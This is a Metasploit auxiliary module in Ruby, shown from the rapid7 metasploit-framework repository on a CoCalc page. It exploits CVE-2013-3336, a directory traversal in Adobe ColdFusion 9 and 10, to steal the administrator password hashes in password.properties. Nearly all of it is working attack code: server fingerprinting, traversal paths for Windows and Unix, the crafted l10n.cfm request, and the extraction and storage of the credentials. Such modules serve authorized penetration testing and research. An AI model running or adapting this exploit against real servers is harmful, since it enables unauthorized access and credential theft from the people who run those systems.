CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/coldfusion_pwd_props.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Exploit::Remote::HttpClient
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => "ColdFusion 'password.properties' Hash Extraction",
13
'Description' => %q{
14
This module uses a directory traversal vulnerability to extract information
15
such as password, rdspassword, and "encrypted" properties. This module has been
16
tested successfully on ColdFusion 9 and ColdFusion 10 (auto-detect).
17
},
18
'References' =>
19
[
20
[ 'CVE', '2013-3336' ],
21
[ 'OSVDB', '93114' ],
22
[ 'EDB', '25305' ]
23
],
24
'Author' =>
25
[
26
'HTP',
27
'sinn3r',
28
'nebulus'
29
],
30
'License' => MSF_LICENSE,
31
'DisclosureDate' => '2013-05-07' #The day we saw the subzero poc
32
))
33
34
register_options(
35
[
36
Opt::RPORT(80),
37
OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/'])
38
])
39
end
40
41
def fingerprint(response)
42
43
if(response.headers.has_key?('Server') )
44
if(response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/)
45
os = "Windows (#{response.headers['Server']})"
46
elsif(response.headers['Server'] =~ /Apache\//)
47
os = "Unix (#{response.headers['Server']})"
48
else
49
os = response.headers['Server']
50
end
51
end
52
53
return nil if response.body.length < 100
54
55
title = "Not Found"
56
response.body.gsub!(/[\r\n]/, '')
57
if(response.body =~ /<title.*\/?>(.+)<\/title\/?>/i)
58
title = $1
59
title.gsub!(/\s/, '')
60
end
61
return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/)
62
63
out = nil
64
65
if(response.body =~ />\s*Version:\s*(.*)<\/strong\><br\s\//)
66
v = $1
67
out = (v =~ /^6/) ? "Adobe ColdFusion MX6 (Not Vulnerable)" : "Adobe ColdFusion MX7 (Not Vulnerable)"
68
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright 1995-2012 Adobe/ and response.body =~ /Administrator requires a browser that supports frames/ )
69
out = "Adobe ColdFusion MX7 (Not Vulnerable)"
70
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2006 Adobe/)
71
out = "Adobe ColdFusion 8 (Not Vulnerable)"
72
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2010 Adobe/ and
73
response.body =~ /1997\-2012 Adobe Systems Incorporated and its licensors/)
74
out = "Adobe ColdFusion 10"
75
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2010 Adobe/ or
76
response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2009 Adobe Systems\, Inc\. All rights reserved/)
77
out = "Adobe ColdFusion 9"
78
elsif(response.body =~ /<meta name=\"Keywords\" content=\"(.*)\">\s+<meta name/)
79
out = $1.split(/,/)[0]
80
else
81
out = 'Unknown ColdFusion'
82
end
83
84
if(title.downcase == 'coldfusionadministrator')
85
out << " (you have administrator access)"
86
end
87
88
out << " (#{os})"
89
file = ''
90
trav = ''
91
if(os =~ /Windows/ )
92
trav = '..\..\..\..\..\..\..\..\..\..'
93
file = (out =~ /ColdFusion 9/) ? '\ColdFusion9\lib\password.properties' : '\ColdFusion10\CFusion\lib\password.properties'
94
else
95
trav = '../../../../../../../../../..'
96
file = (out =~ /ColdFusion 9/) ? '/opt/coldfusion9/lib/password.properties' : '/opt/coldfusion10/cfusion/lib/password.properties'
97
end
98
99
if(response.body =~ /Adobe/ and response.body =~ /ColdFusion/ and file == '')
100
print_error("#{peer} Fingerprint failed...aborting")
101
print_status("response: #{response.body}")
102
return nil,nil
103
end
104
105
return out,"#{trav}#{file}"
106
end
107
108
def check
109
if check_cf
110
return Msf::Exploit::CheckCode::Vulnerable
111
end
112
113
Msf::Exploit::CheckCode::Safe
114
end
115
116
def check_cf
117
vuln = false
118
url = '/CFIDE/adminapi/customtags/l10n.cfm'
119
res = send_request_cgi({
120
'uri' => url,
121
'method' => 'GET',
122
'Connection' => "keep-alive",
123
'Accept-Encoding' => "zip,deflate",
124
})
125
126
if(res != nil)
127
# can't stack b/c res.code won't exist if res is nil
128
vuln = true if(res.code == 500 and res.body =~ /attributes\.id was not provided/)
129
end
130
131
if(vuln)
132
url = '/CFIDE/administrator/mail/download.cfm'
133
res = send_request_cgi({
134
'uri' => url,
135
'method' => 'GET',
136
'Connection' => "keep-alive",
137
'Accept-Encoding' => "zip,deflate",
138
})
139
if(res != nil)
140
vuln = false if (res.code != 200)
141
end
142
end
143
144
return vuln
145
end
146
147
148
def run
149
filename = ""
150
151
url = '/CFIDE/administrator/index.cfm'
152
# print_status("Getting index...")
153
res = send_request_cgi({
154
'uri' => url,
155
'method' => 'GET',
156
'Connection' => "keep-alive",
157
'Accept-Encoding' => "zip,deflate",
158
})
159
# print_status("Got back: #{res.inspect}")
160
return if not res
161
return if not res.body or not res.code
162
return if not res.code.to_i == 200
163
164
out, filename = fingerprint(res)
165
print_status("#{peer} #{out}") if out
166
167
if(out =~ /Not Vulnerable/)
168
print_status("#{peer} isn't vulnerable to this attack")
169
return
170
end
171
172
if(not check_cf)
173
print_status("#{peer} can't be exploited (either files missing or permissions block access)")
174
return
175
end
176
177
res = send_request_cgi({
178
'method' => 'GET',
179
'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'),
180
'encode_params' => false,
181
'encode' => false,
182
'vars_get' => {
183
'attributes.id' => 'it',
184
'attributes.file' => '../../administrator/mail/download.cfm',
185
'filename' => filename,
186
'attributes.locale' => 'it',
187
'attributes.var' => 'it',
188
'attributes.jscript' => 'false',
189
'attributes.type' => 'text/html',
190
'attributes.charset' => 'UTF-8',
191
'thisTag.executionmode' => 'end',
192
'thisTag.generatedContent' => 'htp'
193
}
194
})
195
196
if res.nil?
197
print_error("Unable to receive a response")
198
return
199
end
200
201
rdspass = res.body.scan(/^rdspassword=(.+)/).flatten[0] || ''
202
password = res.body.scan(/^password=(.+)/).flatten[0] || ''
203
encrypted = res.body.scan(/^encrypted=(.+)/).flatten[0] || ''
204
205
if rdspass.empty? and password.empty?
206
# No pass collected, no point to store anything
207
print_error("No passwords found")
208
return
209
end
210
211
print_good("rdspassword = #{rdspass}")
212
print_good("password = #{password}")
213
print_good("encrypted = #{encrypted}")
214
215
p = store_loot('coldfusion.password.properties', 'text/plain', rhost, res.body)
216
print_good("password.properties stored in '#{p}'")
217
end
218
end
219
220